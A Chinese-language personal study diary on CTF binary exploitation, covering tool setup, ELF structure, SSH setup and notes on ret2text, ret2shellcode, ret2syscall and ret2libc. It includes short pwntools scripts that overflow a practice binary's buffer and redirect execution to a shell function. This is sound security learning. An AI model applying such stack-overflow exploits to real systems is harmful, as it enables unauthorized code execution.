07.19
CTF特训营---REVERSE阅读
P208——P
1、X86指令体系
- 寄存器组
- 汇编指令集:Intel , AT&T
Intel的几种指令
2、X64指令体系
3、反汇编与反编译工具:IDA、HEX-RAY
以Jarvis OJ-Reverse-软件密码破解2为例
07.20 H4师傅书籍阅读记录
1、环境搭建
-
查看相关版本配置
4613D427-6DF1-41E8-8CD4-090E89854338.png
内核版本
4.15.0-72-generic
python2.7
-
gdb安装
下载wget http://ftp.gnu.org/gnu/gdb/gdb-7.10.1.tar.gz
解压tar -zxf gdb-7.10.1.tar.gz
补充:-c create/ -v 显示执行过程 /-f file / -x extract / -z gzip压缩或ungzip解压
./configure ---> make --->
make的时候报错了。直接尝试apt -install gdb ,成功
07F627FC-9EC2-4258-9FD5-A0D85A8A78E6.png gdb插件Pwndbg和peda
peda:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
安装到了root目录下
Pwndbg
两个插件交替使用:
source ~/peda/peda.py
source 目录 gdbinit.py
/root/pwn/software/pwndbg/pwndbg
- pwntools
使用的是python2
pip install pwn
from pwn import *
使用:
p32(),打包为32位, u32()转换为十进制
python中,ord('a') = 97 chr(0x66) = f
-
ROPgadget
在程序中寻找 ROP chain 的一个辅助小工具
EE4FB9A9-8BA6-4357-B3E9-8753868D791F.png -
one_gadget
EF1D0B3E-90A4-444F-8A11-07D832D25328.png -
seccomp-tools
5433A27C-865E-4FC3-9C52-FEF9D4753761.png
- Libc 数据库查询
2、题目aaaaa
file查看程序信息
响应版本ida打开--->main--->F5
数字点住,按h,可以10进制与16进制转换
观察程序逻辑,看如何能getshell
- 步骤,编写exp,如下
from pwn import *
r = process("./aaaaaaaaaa")
r.send("a"*200) # 数量大于 99 即可
r.interactive()
-
报错
DBE47D89-F958-46E1-BE7B-FCABD2E9866B.png
权限不够,没有可执行权限
添加 chmod a+x aaaaaaaa
执行/bin/sh相当于开了一个shell窗口。

执行效果如下:

3、IDA Pro使用
shift + F12,查看字符串
4、ELF文件格式

具体内容参考 : https://blog.csdn.net/mergerly/article/details/94585901
-
.text --- 存放程序的汇编字节码
EE88ADDD-BD82-4D51-A5C7-12DC8D03C65E.png .data/.rodata 段**
用来存放已初始化的全局变量,以及已初始化的局部静态变量。
但是尝试的时候没找到.bss段
猜测是因为没有给可写的权限?因为.bss段是可写的。不对
用其他的程序来看

5、内存mapping介绍
配合pwngdb使用
6、gcc的使用
- 安全编译选项:-no-pie / -pie (关闭 / 开启)
开启PIE功能,编译器就会随机化ELF文件的内存装载基址。
7、常用的X86汇编指令
jne 0x40000 // 当 eax 不等于 0 时,跳转到 0x40000 地址
jz 0x40000 // 当 eax 等于 0 时,跳转到 0x40000 地址
8、pwngdb/peda使用
q 退出
peda:start 程序名
32位程序通过栈传递参数,64位先通过寄存器传递参数,多的再通过栈传递。
rbp指向栈底,一般都和返回地址有关
9、IDA中查看栈结构
esp是栈顶,计算的时候不看他
ebp是栈底,计算的时候是通过ebp的差值来计算大小的
10、ROP技术---返回导向编程(Return-oriented Programming)
中心思想:利用现有的或自己构造system("/bin/sh")
07.21
1、ssh连接,提升使用舒适感
Secure Shell(SSH),RSA加密
颜色配置原来一直不成功,参考知乎,修改成功
https://www.zhihu.com/question/36048211
通过ssh连接服务器
密码登陆的方法:
服务器端: /etc/init.d/sshd restart
netstat -tlnp | grep ssh
可以查看是否启用了ssh服务
客户端:ssh -p22 root@IP地址
退出登陆使用的是exit
这样是通过密码登陆了。虽然可以登陆,但是每次都要输入密码比较麻烦。可以通过证书来登陆。
客户端 ssh-keygen -t rsa
将公钥复制到服务器端,并在/etc/hosts.allow文件中加入 sshd: <A machine's IP>
参考 https://www.cnblogs.com/luckycn/p/8515391.html
尝试发现还需要密码,
问题应该出在公钥证书复制出错了。
手动把文件复制过去改名字,成功!!!!
纪念一下:

2、解决昨天的问题
- 一个小程序,里面字段不全,没有.bss是为什么?
答:因为Mac系统和Linux系统内部实现是不一样的,在Linux中查看就有了。
readily -a test

- 原来编译的时候 -static报错,也是因为平台不同。


3、ret2text

/root/.gdbinit
改为使用pwngdb
start day2_level0
即可开始调试
步入函数,step进入
得到buf的实际地址 0x7fffffffe340

得到距离是0x88字节,即136字节。返回地址是用rbp+8来计算的

IDA中查看 callsystem函数地址为:0x400596,在服务器中也是不变的。由于是.text段,所以叫ret2text.
from pwn import *
r = process('./day2_level0')
payload = 'a'*136
payload += p64(0x400596)
r.recv()
r.sendline(payload)
r.interactive()

如果不直接存在system("/bin/sh")
,需要自己构造。

3、题目-fd
http://pwnable.kr/play.php
- ls,显示三个文件。打开fd.c

输出flag的条件是:buf的值为LETMEWIN
反应太慢了,虽然卡片很可爱,但是体验感不佳。
题目-collision
提示是MD5碰撞

要求输入的长度是20并且check_password的结果要和hashcode相同。
4、题目:tell me something
64位文件,IDA打开,查看main函数,有溢出

查看gg函数

首先file文件,run,start

5、ret2shellcode
.bss是可执行的。
07.22
1、ret2shellcode
NX,Windows中对应的是DEP,不能直接执行栈上的数据。这里NX是关闭的。
首先得到s的地址是:0xffffd4cc


思想比较简单:只有覆盖到返回地址。但是由于程序本身会复制一次,所以在覆盖的时候就存放shellcode,会把shellcode复制到我们要执行的区域中。
2、ret2syscall
32位,静态链接。
.bss和stack 都不可执行


位置
0xffffd4bc
,

得到偏移 0x70
关于gadge,参考文章https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42530&highlight=pwn
其中讲到ret指令的本质是pop eip,gadget是以ret/jmp/call等指令结尾的一小段汇编指令
,它属于指令区,可以执行,可以绕过NX保护。
到这里看不懂了,开始看视频看能否理解。
07.23
荒废了一天,罪过。
07.24
1、re2syscall
前提:打开了NX使得栈不可执行。
ROPgadget的使用
使用报错

错误原因是:python2.7/ROPGadge 中没有scripts/ROPgadge。自己拷贝一个
sudo cp -r scripts /usr/local/lib/python2.7/dist-packages/ROPGadget-6.3.dist-info
.版本要换成自己相应的版本,解决!
安装个python3,参考https://www.cnblogs.com/lemon-feng/p/11208435.html

ROPgadget --binary ./二进制文件名(需要先编译)


经询问,如果开了PIE,地址就会从0x0000000开始
/bin/sh: 0x00000000000008f8
内容思路懂了,但是没有操作。
2、ret2libc
如果在上面那种情况中,没找到system() 、execve()这种系统级函数,就需要使用ret2libc
需要寻找基址+偏移
例题:64位。
收到的某个函数的地址要进行
puts_addr = eval(r.recvline()[:-1])
[:-1]是为了去掉接收的时候最后面的换行符,eval()是python内置函数,把其内容转换为数字。区分linux中的命令eval,它是执行两次的意思 =。=
payload = 填充到返回地址 + gadget改变寄存器rdi(rdi传入字符串 bin/sh的地址) + 要调用的system函数的地址
题目文件有一点问题,也没有操作成功。
但是!上一题puts出了libc的地址,如果没有给libc的地址,需要
- 手动构造puts或writes等输出函数
- 将其参数设置成为某个函数的got表,从而输出表中的实际地址,泄漏内存
实际操作步骤如下:
泄漏出libc的地址,调用puts.plt(puts.gots)
07.25
1、DASCTF 10:00 —— 15:00
虚假的签到题

32位,IDA打开。(这个和真实的可能是略有差异的,因为IDA毕竟是动态调试。)